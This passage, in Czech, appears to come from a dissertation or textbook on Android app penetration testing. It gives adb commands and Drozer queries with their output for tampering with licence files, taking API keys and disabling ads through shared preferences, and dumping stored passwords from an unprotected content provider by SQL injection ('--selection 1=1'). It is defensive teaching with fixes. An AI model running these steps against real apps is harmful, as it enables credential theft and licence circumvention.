datového prostoru v Android Device Monitoru vymazan pomoci tlaitka ,,Delete
the selection®. V okamziku, kdy je adresatr shared prefs prazdny, je mozné za
pouziti tlaCitka ,,Push a file onto the device* nahrat upraveny soubor license.xml
z pocita¢e do mobilniho zatizeni/emulatoru. Viz ervena Sipka na obrazku 4.65.
Uvedenou operaci Ize také proveést prikazem:

adb push license.xml /data/data/cz.utb.fai.bestcloud_ptlab/shared_prefs
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Je-li testovany program v mobilnim zafizeni/emulatoru spustény, je nutné
provést jeho restart. Znovu spusténa mobilni aplikace, poskytuje vSechny sve
funkce bez jakéhokoliv omezeni.

% Threads Heap Allocation Tra... | Network Stati... File Explorer &2 | @ Emulator Cd
Name Size Date Time Permissions
» (= com.svox.pico 2016-11-08 11:21 drwxr-x—-x

& cz.utb bestcloud ptlab 2017-02-04 11:46
» (= cache 2017-02-04 11:46 drwxrwx-x
& lib 2017-02-04 11:42 lrwxrwxrwx
¥ (& shared_prefs 2017-02-04 11:46 drwxrwx-x
—| license.xml I 2RO 2O —
» (& cz.utb.fai.bestmaps6_ptlab 2017-02-04 11:30 drwxr-x—x

<?xml version='1.0" encoding='utf-8' standalone='yes' ?>

<map>
<boolean [name="full version" value=”false”|/>
<boolean [name="trial" value="true” V>

</map>

<?xml version="'1.0"' encoding='utf-8' standalone='yes' ?>
<map>
<boolean name="full version"_values|'true"| />

<boolean name="trial" value{”false] />
</map>

Obr. 4.65: Modifikace souboru license.xml [zdroj viastni]

Stejnym zplsobem utocnik/penetracni tester sleduje 1 zmény, které zaymova
aplikace provadi v externi persistentni paméti. Jsou-li nalezeny jakékoliv
soubory, je zjiStovano, zda lze jejich obsah zneuZit.

Z vyse uveden¢ho prikladu vyplyva, Ze jakékoliv ukladani souborti v lidsky
Citelné podobé piedstavuje bezpecCnostni problém, jehoZz zavaZnost je piimo
umérna obsahu daného souboru. Soubory uréené pouze pro interni potiebu
(pouziva je jen aplikace, které patii) by mély byt chranény Sifrovanim spliujici
moderni bezpe€nostni standardy. Data, ktera by méla byt bezpecné sdilena
s vybranymi aplikacemi, by méla misto soubort pouZivat poskytovatele obsahu.

Zna-li Utocnik vySe uvedenou bezpecnostni chybu, je snadné pomoci APK
Repackage vytadit celé licencovani a takto upraveny bali¢ek déale distribuovat
prostfednictvim torrenti a file share servert.

Android Device Monitor byl z novych verzi Android Studia odstranén. Viz
oficialni informace spole¢nosti Google LLC:

” ...Android Device Monitor was deprecated in Android Studio 3.1 and
removed from Android Studio 3.2. The features that you could use through the
Android Device Monitor have been replaced by new features... “ [124].

V souvislosti s presunem souborli dokumentace dale uvadi, Ze pro ptenos
souborll je mozZné pouZit novy nastroj, ktery se jmenuje Device File Explorer:
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“...If you want to perform other debugging tasks, such as sending commands
to a connected device to set up port-forwarding, transfer files, or take screenshots,
then use the Android Debug Bridge (adb), Android Emulator, Device File
Explorer, or Debugger window... ” [124].

Pouzivani nastroje Device File Explorer je popsano v oficialni dokumentaci na
weboveé strance https://developer.android.com/studio/debug/device-file-explorer
[132].

Sledovani privatniho datového prostoru a nasledné podvrZeni licen¢niho
souboru lze stile provést, ale je potteba postup upravit. Modifikovany postup je
demonstrovan na Android Studiu 3.2.1 béZicim pod operacnim systémem MAC
OS Mojave. Nejprve je spusténo Android Studio a je vytvoren novy projekt (pro
utok za pouziti Device File Exploreru neni potieba, aby se shodoval parametr
package elementu manifest, ktery se nachazi v souboru AndroidManifest.xml). Je
spustén vyvijeny program (staci vychozi nastaveni projektu, utocnik nemusi
upravovat ani kod ani cokoliv jiného), ktery spusti Android emulator nebo
nainstaluje vyvijenou aplikaci do upraven¢ho mobilniho zatizeni (je-1i pfipojeno).
Prostfednictvim terminalu je nainstalovan program BestCloud-PTLab.apk na,
ktery je provadén utok:

Sandokan:platform-tools milan$ Jadb install
/Users/milan/Documents/testedAPP/BestCloud-PTLab.apk
/Users/milan/Documents/testedAPP/BestC...d. 96.9 MB/s (1543262 bytes in 0.015s)
pkg: /data/local/tmp/BestCloud-PTLab.apk
Success

V Android studiu je spustén Device File Explorer (View --> Tool Windows --
> Device File Explorer), ve kterém je zobrazen obsah privatniho datového
prostoru aplikace BestCloud-PTLab.apk. Soubor license.xml je otevien ptimo
v Android Studiu. Lze otvirat, Cist a modifikovat soubory, které patfi jinym
aplikacim. Situace je zachycena na obrazku 4.66.
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activity_main.xml MainActivity java license.xml| Device File Explorer
k?xml version= encoding= standalone= 7>
<map>
<boolean name= value=' />
<boolean name= value= />
<string name= >358240051111110</string>
</map>

[E8 Emulator PMA
Name Permissions Date Size
Com.exampie.MyAppIcauon ArWXI-X=-X  ZUIY-UI-19 1531
com.google.android.apps.maps  drwxr-x-- 2019-01-21 11:50
com.google.android.apps.photos drwxr-x--; 2019-01-21 11:50
com.google.android.calendar drwxr-x--: 2018-12-08 13:24
com.google.android.gm drwxr-x--: 2018-12-08 13:24
com.google.android.gms drwxr-x--: 2019-01-21 11:50
com.google.android.googlequick drwxr-x-- 2019-01-21 11:50
com.google.android.gsf drwxr-x-- 2018-12-08 13:24
com.google.android.gsf.login drwxr-x--: 2018-12-08 13:23
com.google.android.play.games drwxr-x-- 2019-01-21 11:50
com.google.android.syncadapter drwxr-x-- 2018-12-08 13:24
com.hack.app.mockapp drwxr-x-- 2019-01-21 11:50
COom.sVoX.pico drwxr-x--: 2019-01-21 11:50
cz.utb.fai.bestcloud_ptlab drwxr-x--: 2019-01-21 11:55
cache drwxrwx--x  2019-01-2111:54
code_cache drwxrwx--x  2019-01-2111:54
shared_prefs drwxrwx--x  2019-01-21 11:55
license.xml -rw-rw----  2019-01-21 11:55
cz.utb.fai.bestcredentials drwxr-x-- 2019-01-20 12:40
cz.utb.fai.bestcredentialsmalwar: drwxr-x-- 2019-01-20 18:15
cz.utb.fai.contentproviderapp drwxr-x--: 2019-01-20 12:04
cz.utb.fai.testapp drwxr-x-- 2018-12-08 13:26
jp.co.omronsoft.openwnn drwxr-x--: 2019-01-21 11:50

»
>
>
»>
>
>
>
>
»>
>
>
>
»>
v

Obr. 4.66. Soubor license.xml v privatnim datovém prostoru a jeho obsah [zdroj
viastni]

Pokusi-li se uto¢nik upraveny soubor uloZit, je zobrazeno okno Non-Project
Files Protection, viz obrazek 4.67. Nicméné¢ Non-Project Files Protection
nedokdze Utocnikovi zabranit v uloZeni modifikovaného souboru na pevny disk
pocitate. V Device File Exploreru je smazan pivodni soubor license.xml
z mobilniho zafizeni/emulatoru. V dalSim kroku je z pocita¢e pomoci Device File
Exploreru nahran modifikovany soubor do mobilniho zatizeni/emulatoru. Je-li
aplikace, na kterou je Gtoc¢eno spusténa, je nutné provest jeji restart.

| NON | Non-Project Files Protection

This file does not belong to the project:

license.xml

e | want to edit this file anyway

| want to edit all files in this directory

| want to edit any non-project file in the current session

Cancel

Obr. 4.67: Non-Project Files Protection [zdroj viastni]

Ackoliv Android Device Monitor je podle oficialni dokumentace zastaraly,
fada Gto¢nikll 1 penetracnich testerl ho stile pouziva. Android Device Monitor je
spolu se starsi verzi Android Studia nainstalovan ve virtualnim pocita¢i. Velkou
vyhodou je, Ze Android Device Monitor l1ze spustit 1 samostatné, bez nutnosti, aby
béZelo Android Studio, naptiklad:

~/Android/Sdk/tools/monitor

KradeZe informaci 7 XML souborii

XML soubory mohou obsahovat celou fadu cennych informaci, které jsou
zneuZitelné. Inspiraci pro uvedeny piiklad byla aplikace, kterou autor testoval pro
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ucely dizertaCni prace. Kod v ukazkach byl zménén tak, aby byla zachovana
anonymita testované aplikace. VySetfovand aplikace béhem prvniho spusténi
kontaktovala aplika¢ni server, jez ji pridélil nékolik identifikatort. Nasledné si
dani aplikace vytvoftila v externi paméti (na SD kart&) adresar, jeZ zacinal teCkou
nasledovanou jménem aplikace. Mezi ptidélenymi identifikatory byl 1 ,,appid®,
jez aplikace pouzivala pro poskytovani sluzeb ze vzdaleného serveru.

Ukazka XML souboru obsahujiciho zneuZitelny identifikator:

<?xml version="1.0" encoding="utf-8' standalone="yes' 7>

<map>

<string name="appid" value="70AB155F175EE" </ string>
</r.r;.ap>

Existuje cela fada variant zneuZitelnych informaci, naptiklad néjaka spole¢nost
vytvofti aplikaci na ptedpovéd’ pocasi. Spole¢nost nemd k dispozici své vlastni
servery na predpovéd pocCasi. Misto toho si zaplati sluzby specializované¢ho
serveru. Tento externi server poskytuje predpoveéd’ pocasi pouze dotaziim, které
maji platny API identifikator. Nékteré sluzby, které jsou poskytovany na zakladé
API identifikatori, mohou byt velmi ndkladné, viz obrazek 4.68. Nalezne-li
utocnik v né&jaké aplikaci API identifikator, za ktery vlastnik aplikace plati
naptiklad dva tisice dolarti mési¢né, miZe se pokusit o jeho prodej tietim stranam.
XML soubory rovnéZ mohou obsahovat celé API rozhrani, na které 1ze zautocit.
S uvedenym typem informace miize Gto¢nik nabidnout poSkozeni zjiSténé API
funkcionality konkurenéni spole¢nosti apod.
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EjOpenWeatherMap

Price

Price

Price is fixed, no other hidden costs.

Subscribe

Bulk download

UV index (beta) v
Air pollution (beta) v
Weather alerts (beta) v

Calls per minute (no more than) 60
Current weather API v
5 days/3 hour forecast API v
16 days/daily forecast API

Weather maps API v

Weather

Free

Free

Maps ~ API Price Partners
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Startup

Developer
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Widgets

Professional

News About ~
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Enterprise
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180 USD / month

470 USD / month

2,000 USD / month
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200,000
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v

v
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v
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v

v

v
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Obr. 4.68: Priklad cenného API identifikatoru [zdroj viastni]

Modifikace vlastnosti aplikace

Krom¢ cennych dat, které lze prodat, a informaci predstavujici véazna
bezpecnostni rizika se v XML souborech nachazi dalsi skupina dat, kterda mohou
byt zneuzita. Jedna se o informace, které méni chovani dané aplikace. Na Google
Play existuje velké mnoZstvi mobilnich aplikaci, které jsou zcela zdarma. Jejich
tviirci zvolili pro vydélavani penéz prosttednictvim mobilnich aplikaci zcela jiny
model. Veskera funkcionalita je uzivatelim nabizena zdarma s tim, Ze se v dané
aplikaci uzivatelim zobrazuji reklamni sdéleni. Vlastnici mobilnich aplikaci tak
maji pfijmy zreklam, nikoliv z pokrocilé funkcionality. Reklama je Sifena
prostfednictvim bannerii !° a splash screenii?’. V nékterych aplikacich mize byt
po zaplaceni ptisluSnych poplatkli odstranéno zobrazovani reklam. Nasleduje

ukazka XML souboru, ktery fidi zobrazovani reklam v testovaci aplikaci:

<?xml version='1.0"' encoding="utf-8' standalone="yes' 7>

<map>

—n

<boolean name="ads_banner display" value="true" />

1 Banner je obdélnikovy pruh slouzici k zobrazovani reklam. Banner se zobrazuje na ukor

funkcni casti aplikace.

2 Splash screen je obrazovka, ktera se objevuje pri startu programu. Ve vyse uvedeném typu

aplikaci nese reklamni sdéleni.
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<long name="initial ads splash delay" value="5000" />
</map>

Prvni polozka ve vySe uvedené XML ukézce urcuje, zda se v aplikaci bude
nebo nebude zobrazovat reklamni banner. Jeji pfepsani na hodnotu ,,false*
zplsobi vypnuti banneru, aniZ by uZivatel cokoliv zaplatil. Druha poloZka urcuje,
jak dlouho se bude uZivateli zobrazovat splash screen s reklamou. Cas je vétiinou
uvadény tisicich, coZ je pro mobilni aplikace napsané v jazyce Java pfirozeny
zplusob zapisu Casu, protoze vétSina tfid a metod pracuje v milisekundach.
Nastavi-li Gto¢nik initial ads splash delay na hodnotu 0 muizZe to vést ke dvéma
vysledklim:

e reklamni splash screen se nebude pii startu aplikace zobrazovat, respektive
bude se zobrazovat 0 milisekund,

e splash screen obsahujici reklamu bude trvale zobrazen na obrazovce
mobilni aplikace a nedojde k jeho vypnuti. V takovém piipad¢€ uto¢nik voli
hodnotu 1.

Vyse popsana bezpecnostni chyba je méné zavazna, nebot’ pii ni nedochazi ke
kompromitaci citlivych uzZivatelskych dat, vzdalenych vypocetnich prostredkil
apod. Nicméné€ vypnutim reklamnich obrazovek a bannerl uZivatele nic nenuti
k zakoupeni dané aplikace. Jsou-li reklamni plochy v nékterych mobilnich
aplikacich vypnuty, je nizsi celkovy pocet zobrazenych reklam. V obou ptipadech
tvlrce/vlastnik aplikace ptichazi o zisk.

KradeZe dat 7 nezabezpecenych poskytovatelit obsahu

Pokud spolu chtéji aplikace komunikovat nebo si vyméinovat data, neméli by
to délat pfimo. Programy, které¢ se u€astni komunikace, by mély pouzit jeden
znastroji  bezpecné meziprocesoveé komunikace (Secure Inter Process
Communication), jakym je napfiklad poskytovatel obsahu (Content Provider).
Poskytovatelé obsahu jsou v programatorské dokumentaci spole¢nosti Google
LLC popsany takto:

“...Content providers are the standard interface that connects data in one
process with code running in another process. Implementing a content provider
has many advantages. Most importantly you can configure a content provider to
allow other applications to securely access and modify your app data ...” [133].

PtestoZe poskytovatelé obsahu ptedstavuji jeden ze zplsobil, jak miZe dana
aplikace bezpecné nabizet sva data, jejich pouZivani s sebou nese urcita rizika,
kterych by si mél byt programator védom. Demonstrace bezpecnostnich chyb
souvisejicich s poskytovateli obsahu bude demonstrovana na aplikaci
BestCredentials.apk, kterou pro tento ucel vytvofil autor. Aplikace v sobé
integruje poznatky tykajici se zabezpeceni poskytovateli obsahu, které autor
ziskal na zaklad€ vyzkumu provedeného v ramci dizertacni prace.
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Pro napadeni poskytovatelii obsahu je vhodné pouzit bezpecnostni/itocny
framework Drozer, nebot’ disponuje mnoZstvim vykonnych nastrojli, ktere
usnadnuji tento typ utoku. Teoreticky popis je uveden v oddile 4.5
Automatizované metody vySetfovani. Aby bylo mozné framework pouZivat, je
nutné proveést jeho nastaveni. Piikazem adb install drozer-agent-2.3.4.apk je do
mobilniho zatizeni/emulatoru naistalovan program drozer Agent. Jakmile je
instalace dokoncena, je mozné drozer Agenta spustit a povolit server, ktery bézi
na TCP portu Cislo 31415, viz obrazek 4.69.

) Android Emulator - m6:5554
] 4 332

() drozer Agent

drozer

Embedded Server @
31415

Obr. 4.69: Mobilni aplikace drozer Agent [zdroj viastni]

V dal§im kroku je nastaven port forwarding mezi mobilnim
zatizenim/emulatorem a pocita¢em, na kterém je provadéno testovani:

adb forward tcp:31415 tcp:31415

Ptikazem ,,drozer console connect® je v terminalu osobniho pocitace spusSténa
konzole programu Drozer?!'. Bali¢ek, jehoz poskytovatele obsahu chce ttoénik
napadnout, je dekompilovan programem APKTool:

java -jar apktool.jar d A1_CONTENT_PROVIDER/BestCredentials.apk

Ze souboru AndroidManifest.xml je z elementu manifest zjiStén parametr
package:

package="cz.utb.fai.bestcredentials"
Parametr bude slouzit jako identifikéator zajmové aplikace v konzoli programu

Drozer. Nasledné¢ je testovany APK baliCek nainstalovan do mobilniho
telefonu/emulatoru:

2L Pro instalaci Drozera do pocitace je mozné pouZzit balicek, ktery Ize stahnout ze stranky
https://github.com/mwrlabs/drozer/releases.
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adb install A1_CONTENT_PROVIDER/BestCredentials.apk

V konzoli programu Drozer jsou vypsany vSechny nainstalovane balicky, které
obsahuji vyraz ,,credentials®, ¢imZ se ov¢Eti, Ze identifikator zjiStény v souboru
AndroidManifest.xml je platny:

dz> run app.package.list -f credentials
cz.utb.fai.bestcredentials (Best Credentials)

Z vySe uvedeného vypisu je patrne, Ze identifikator cz.utb.fai.bestcredentials je
platny. Muze byt tedy vyuzit pro hledani zranitelnosti, které zkoumana aplikace
obsahuje:

dz> run app.package.attacksurface cz.utb.fai.bestcredentials
Attack Surface:
1 activities exported
0 broadcast receivers exported
1 content providers exported
0 services exported
is debuggable

Zvyraznény tadek naznacuje, Ze soucasti aplikace je 1 jeden poskytovatel
obsahu, ktery mohou pouZivat 1 jiné aplikace (hodnota exported). Z uvedené¢ho
divodu je vhodné zjistit vice informaci o daném poskytovateli obsahu:

dz> run app.provider.info -a cz.utb.fai.bestcredentials
Package: cz.utb.fai.bestcredentials
Authority: cz.utb.fai.bestcredentials.VulnerableProvider

Read Permission: null
Write Permission: null
Content Provider: cz.utb.fai.bestcredentials.VulnerableProvider
Multiprocess Allowed: False
Grant Uri Permissions: False

Poskytovatel obsahu neni zabezpecen, protoZe nepoZaduje ani prava pro Cteni,
ani pro zapis. Drozer obsahuje velmi kvalitni néstroj na zjistovani URI adres, na
kterych komunikuji poskytovatelé obsahu s ostatnimi mobilnimi aplikacemi.
Komunikace probiha tak, Ze externi aplikace, ktera chce Cist nebo zapsat néjake
informace, oslovi na pfedem domluveném URI poskytovatele obsahu se svym
poZadavkem. Poskytovatel obsahu zpracuje dany pozadavek a poSle externi
aplikaci vysledek dotazu.
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dz> run scanner.provider.finduris -a cz.utb.fai.bestcredentials

Scanning cz.utb.fai.bestcredentials...

Able to Query content://cz.utb.fai.bestcredentials.VulnerableProvider/users/
Able to Query content://cz.utb.fai.bestcredentials.VulnerableProvider/

Able to Query content://cz.utb.fai.bestcredentials.VulnerableProvider/users
Able to Query content://cz.utb.fai.bestcredentials.VulnerableProvider

Accessible content URIs:
content://cz.utb.fai.bestcredentials.VulnerableProvider/users/
content://cz.utb.fai.bestcredentials.VulnerableProvider
content://cz.utb.fai.bestcredentials.VulnerableProvider/users
content://cz.utb.fai.bestcredentials.VulnerableProvider/

Ve vypisu, ktery je uveden vyse, je vidét, Ze existuji celkem c¢tyti URI, které
jsou dostupné pro externi aplikace. Nyni je mozné pouzit framework na zjisténi,
zda poskytovatel obsahu ma néjaké zranitelné¢ URI:

dz> run scanner.provider.injection -a cz.utb.fai.bestcredentials
Scanning cz.utb.fai.bestcredentials...
Not Vulnerable:

No non-vulnerable URIs found.

Injection in Projection:
content://cz.utb.fai.bestcredentials.VulnerableProvider/users/
content://cz.utb.fai.bestcredentials.VulnerableProvider
content://cz.utb.fai.bestcredentials.VulnerableProvider/users
content://cz.utb.fai.bestcredentials.VulnerableProvider/

Injection in Selection:
content://cz.utb.fai.bestcredentials.VulnerableProvider/users/
content://cz.utb.fai.bestcredentials.VulnerableProvider
content://cz.utb.fai.bestcredentials.VulnerableProvider/users
content://cz.utb.fai.bestcredentials.VulnerableProvider

Poskytovatel je zranitelny jak prostfednictvim Projection, tak pomoci
Selection. Drozer poskytuje nastroj umoZznujici poslat oba typy dotazi. Jako prvni
je pouZzit dotaz typu Projection:

dz> run app.provider.query

content://cz.utb.fai.bestcredentials.VulnerableProvider/users/ --projection
list index out of range
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Vykonany dotaz nepfinesl zddnou pouzitelnou informaci. Proto je vhodné
zkusit vykonat piikaz jesté jednou a na konec ptridat n¢jaky nesmyslny shluk
znak1, jehoz cilem je vyvolat chybu, naptiklad:

dz> run app.provider.query

content://cz.utb.fai.bestcredentials.VulnerableProvider/users/ --projection bucbiu

no such column: bucbiu (code 1): , while compiling: SELECT bucbiu FROM users
ORDER BY user_name

Vypis skoncil chybou, ze které se lze dozvédét celou tadu zajimavych
informaci. Poskytovatel obsahu pracuje s tabulkou, ktera se ymenuje users. Jeden
ze sloupcti tabulky users méa jméno user name. A konecné z chybového vypisu je
patrny i1 samotny tvar dotazu SELECT bucbiu FROM users ORDER BY
user_name. To znamend, Ze pro UspéSné provedeni utoku staci nesmyslny vyraz
,,oucbiu*“ nahradit znakem ,,**“. Uvedené nahrazeni bude mit za nasledek, ze
poskytovatel obsahu obdrzi poZadavek na vypis vSech fadkl a sloupct tabulky
users. Dotaz bude mit nasledujici tvar: SELECT * FROM users ORDER BY
user_name. Na obrazku 4.70 je vidét, Ze uvedeny postup byl spravny a ze Gito¢nik
ziskal cennd data, ktery nabizel nezabezpe€eny poskytovatel obsahu.

.provider.query content://cz.utb.fai.bestcredentials.VulnerableProvider/users/ --projection *

user_name | user_password |
user-7uk | cwceubci8zh |
|

user-jhj | ksuhebrz8zh
user-k9g | nuciewqoq9jdwu |

Obr. 4.70: Uspésny iitok za pouziti Projection dotazu [zdroj viastni]

Ne vzdy je mozZné pouzit vySe naznaceny postup. V piipadech, kdy neni mozné
citlivd data ziskat prostfednictvim Projection dotazu, je dobré vyzkouSet
alternativni postup pomoci Selection:

dz> run app.provider.query

content://cz.utb.fai.bestcredentials. VulnerableProvider/users/ --selection nci

no such column: nci (code 1): , while compiling: SELECT * FROM users
WHERE (nci) ORDER BY user name

Pozadavek skoncil diky nesmyslné posloupnosti ,,nci chybou. Stejné jako
v ptedchozim ptipadé i tentokrat chybovy vypis napovédél, jak by mél vypadat /
mohl vypadat spravny typ dotazu. Pro uspéSny vypis vSech fadkl a sloupcii
tabulky users sta¢i vyraz ,,nci* nahradit posloupnosti znaki ,,1=1%, viz obrazek
4.71.

dz> run app.provider.query content://cz.utb.fai.bestcredentials.VulnerableProvider/users/ --selection 1=1
| user_id | user_name | user_password |
user-7uk | cwceubci8zh |
|

user-jhj | ksuhebrz8zh
user-k9g | nuciewgoq9jdwu |

Obr. 4.71: Uspésny utok za pouziti Selection dotazu [zdroj viastni]
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V nékterych ptipadech je moZzné pouzit zkraceny dotaz run app.provider.query
content://cz.utb.fai.bestcredentials.VulnerableProvider/users a nechat Drozer
rozhodnout, ktery typ dotazu je nejvhodnési. Vysledek zkracen¢ho dotazu je
vidét na obrazku 4.72.

dz> run app.provider.query content://cz.utb.fal.bestcredentials.VulnerableProvider/users
| user_id | user_name | user_password |
| 1 user-7uk | cwceubci8zh |

3

|
2 | user-jhj | ksuhebrz8zh |
|

user-k9g | nuciewqoq9jdwu |
Obr. 4.72: Uspésny utok za pouziti zkrdceného dotazu [zdroj viastni]

Aplikaci, kterd vlastni poskytovatele obsahu (tzn. program, jehoZ interni
soucasti je poskytovatel obsahu), 1ze zabezpecit pomoci opravnéni definovanych
v souboru AndroidManifest.xml. Nejprve se v manifestu pomoci elementu
permission nadefinuje vlastni opravnéni (tzv. Custom Permission). Nasledné se
v elementu provider nadefinuje parametr android:permission poZadujici pro ¢teni
a zapis vySe deklarované opravnéni. Opravnéni v elementu provider lze
specifikovat jemné&ji pomoci android:readPermission a android:writePermission.
Pro vétsi nazornost je uveden priklad souboru AndroidManifest.xml, ktery
definuje opravnéni a nasledné jej vyuziva pro zabezpeceni svého poskytovatele
obsahu.

<?xml version="1.0" encoding="utf-8"?>
<manifest xmIns:android="http://schemas.android.com/apk/res/android"
package="cz.utb.fai.bestcredentials">
<permission
android:name="cz.uth.fai.bestcredentials.permission.VulnerableProvider" />
<application
android:allowBackup="true"
android:icon="@mipmap/ic_launcher"
android:label="@string/app_name"
android:roundlcon="@mipmap/ic_launcher_round"
android:supportsRtl="true"
android:theme="@style/AppTheme">
<activity android:name=".MainActivity">
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
<[activity>
<provider android:name="VulnerableProvider" android:exported="true"
android:authorities="cz.utb.fai.bestcredentials.VulnerableProvider"
android:permission="cz.utb.fai.bestcredentials.permission.VulnerableProvider"/>
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</application>
</manifest>

Pokud by byl v Android Studiu vytvotfen novy build APK balic¢ku, ktery by mél
stejny zdrojovy kod jako v pfedchozi ukazce jen s manifestem upravenym vyse
uvedenym zpiisobem, vysledky, které¢ by uto¢nik obdrzel z Drozer frameworku,
budou znacné€ odlisSné. Z informaci, které Drozer zjistil o vySetfovaném
poskytovateli obsahu je vidét, ze ¢teni 1 zéapis si poskytovatel obsahu chrani
prosttednictvim opravnéni

cz.utb.fai.bestcredentials.permission. VulnerableProvider.

dz> run app.provider.info -a cz.utb.fai.bestcredentials
Package: cz.utb.fai.bestcredentials
Authority: cz.utb.fai.bestcredentials.VulnerableProvider

Read Permission: cz.utb.fai.bestcredentials.permission.VulnerableProvider
Write Permission: cz.utb.fai.bestcredentials.permission.VulnerableProvider
Content Provider: cz.utb.fai.bestcredentials.VulnerableProvider
Multiprocess Allowed: False
Grant Uri Permissions: False

Provedenim vSech tfi typl dotazli (Projection, Selection, zkraceny dotaz), které
fungovaly v ukazce vySe, utocnik obdrZi pouze zpravu o zamitnuti piistupu. Na
obrazku 4.73 je vidét neuspéSny zkraceny dotaz run app.provider.query
content://cz.utb.fai.bestcredentials. VulnerableProvider/users.

dz> run app.provider.query content://cz.utb.fai.bestcredentials.VulnerableProvider/users
Permission Denial: opening provider cz.utb.fai.bestcredentials.VulnerableProvider from ProcessRecord{2dae312 2422:com.mwr.d

z:remote/u@a63} (pid=2422, uid=10063) requires cz.utb.fai.bestcredentials.permission.VulnerableProvider or cz.utb.fai.bestc
redentials.permission.VulnerableProvider

Obr. 4.73: Neuspésny pokus o utok za pouZiti zkrdceného dotazu [zdroj viastni]

o 24

souborll mezi mobilnimi aplikacemi. Miize se zdat, Ze deklarace opravnéni ve
spojeni s meziprocesovou komunikaci zajiSt€énou poskytovateli obsahu
predstavuje zabezpedeni, které je neprolomitelné, ale neni tomu tak. Utoénik
muZze opravnéni pomoci APK Repackage snadno odstranit z manifestu. A
nasledné 1ze provést uspésny utok pomoci Drozeru. Uveden¢ho faktu by si méli
byt védomi 1 mobilni vyvojafi a chranit data poskytovatele obsahu pomoci
Sifrovani. Cennd nebo citliva data by neméla byt soucasti poskytovatele obsahu
hned po instalaci dané aplikace, ale aZ po ovéteni identity uZivatele. Kromé ttoku
za pouziti APK Repackage jsou znadmy 1 dalsi bezpecnostni problémy, které jsou
popsany v €lanku The Custom Permission Problem [134]. Dalsi zajimavy ¢lanek
popisujici Gtok na zabezpecCeni meziprocesové komunikace se jmenuje Man In
The Binder [135] a byl publikovan na konferenci Black Hat EUROPE 2014.
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KradeZe dat 7 databazi

V mobilnich zafizenich jsou databaze obvykle implementovany pomoci
SQLite. Vybér SQLite jako vychoziho databazového systému pro Androidu OS
ma nékolik divodi:

e SQLite ma na rozdil od SQL niZsi naroky na pamét’ a vypocetni vykon,
e SQLite nevyZaduje Zadné sloZité nastavovani databazi a konektort,
e SQLite dotazy mohou byt provadény ptimo z Android aplikaci (z pohledu
programadtora se snadno pouZzivaji),
e SQLite dotazy jsou viceméné stejn¢ jako klasicke SQL dotazy.
Aplikace mohou mit soukromé databaze ve svém datovém prostoru, tzn.:

/data/data/[package]/databases/[database_name].db

Databaze v mobilnich zatizenich maji ve vétSiné ptipadid piiponu *.db,
nicmén¢ lze se setkat 1 s koncovkami *.sqlite nebo *.sqlitedb.

Problematika kradezi dat z databazi je demonstrovana na aplikaci Best Maps 4.
Program byl inspirovan komer¢ni aplikaci, ktera byla zkouména v ramci
dizertacni prace. Aplikace Best Maps 4 prebira pouze funkéni mechanismy, kod
byl vytvofen nezavisle, aby nebyla kompromitovdna identita vySetfované
aplikace. Best Maps 4 obsahuje bezpecnostni chybu, ktera je zplisobena
skuteCnosti, Ze jen uzivatelsky privétivé aplikace s dobrou ergonomii jsou
komeréné uspésné. Uvedeny fenomén je podrobné popsan v ¢Elanku A
Comprehensive Guide To Mobile App Design® [136], ktery vznikl za podpory
spolecnosti Abode. Tlak na uZivatelskou piivétivost mobilnich aplikaci je
obrovsky, coZz mnohdy znamend, Ze pohodli uzivatele ma piednost pied
bezpecnosti. Uvedeny trend sleduje 1 aplikace Best Maps 4, ktera uklada
piihlaSovaci udaje tak, aby si je uZivatel nemusel pamatovat nebo je zadavat
ruéné. K ukladani uZivatelského jména a hesla aplikace pouziva databazi
nachazejici se v jejim privatnim datovém prostoru. V databézi je jedina aplikacni
tabulka, ta se jmenuje credentials a obsahuje jediny fadek, ktery je v ptipadé
potieby updatovan. Po prvnim spusténi je uZivatel informovan, Ze v aplikaci
chybi ptihlaSovaci udaje, které je mozné ziskat na strdnce www.somepage.com.
Po uspésné registraci a zaplaceni na webovém serveru, mize uZivatel tyto tidaje
pouzit v aplikaci.
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Obr. 4.74: Zprava o chybéjicich prihlasovacich udajich [zdroj viastni]

V dalSich spusténich aplikace Best Maps 4 posle v metodé onStart(), dotaz do
databaze, ve kterém zjiStuje, zda v tabulce credentials existuje zaznam _1d=1.
Pokud je zaznam nalezen, je z n¢ho vybrano uzZivatelské jméno a heslo, kter¢ je
nasledné pfedvyplnéno do textovych poli na ptihlasovaci obrazovce, aby je
nemusel uzZivatel zadavat rucng. PfihlaSovaci udaje jsou pak pouZivany
k poskytovani funkcionality ze zabezpecenych vypocetnich prostredki, naptiklad
ze vzdalenych serverll apod. Neni-li v tabulce credentials nalezen zdznam _id=1,
musi uzivatel udaje zadat rucné, viz obrazek 4.75.

MainActivity
. onStart() dotaz do databaze
Login:
Password: Existuje v
tabulce
credentials
zaznam _id =
1?
Login
Zobraz existujici login a password,
které jsou uloZeny v databazi
. - s e P . Nastav EditTexty: %
* Zev).zna[’n \Y d:,at’abe?u neVexvlstUJe => uzivatel musi vyplnit loginEditText.setText(");
pfihlasovaci ddaje rucné passwordEditText.setText("");

Obr. 4.75: Zobrazovani prihlasovacich udajui v aplikaci Best Maps 4 [zdroj viastni]

Jak byl popsano vySse, databaze aplikace se nachazi v

/data/data/[package]/databases/[database name].db.

Aby bylo mozZné provést utok, je nutn€ nejprve zjistit hodnotu vyrazu package.
Z uvedeného divodu je provedena dekompilace APK balicku pomoci néstroje
APKTool:

java -jar apktool.jar d BestMaps4.apk
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Ze souboru AndroidManifest.xml je z elementu manifest zjiStén parametr
package:

package="cz.utb.fai.bestmaps4_ptlab"

Zjistény parametr package bude slouzit jako soucast cesty k privatni databazi
aplikace Best Maps 4. V dalsim kroku je zdjmovy APK bali¢ek nainstalovan do
mobilniho telefonu/emulatoru:

adb install BestMaps4.apk

Ptikazem adb shell je spustén piikazovy interpret, ktery je zabudovan do
mobilniho zafizeni/emulatoru. Nasledn€ se zméni aktualni adresar na adresar, ve
kterém se nachazi databaze aplikace Best Maps 4:

cd /data/data/cz.utb.fai.bestmaps4_ptlab/databases

Vypisem obsahu adresate databases je zjiSténo, Ze obsahuje SQLite databazi,
ktera se jmenuje vulnerableCredentialsDB.db:

/data/data/cz.utb.fai.bestmaps4_ptlab/databases # Is
vulnerableCredentialsDB.db
vulnerableCredentialsDB.db-journal

Databazi Ize oteviit pomoci terminalového programu sqlite3, ktery je soucasti
kazdého mobilniho zafizeni/emulatoru. Pti spousténi je vyhodné zadat volby ,,--
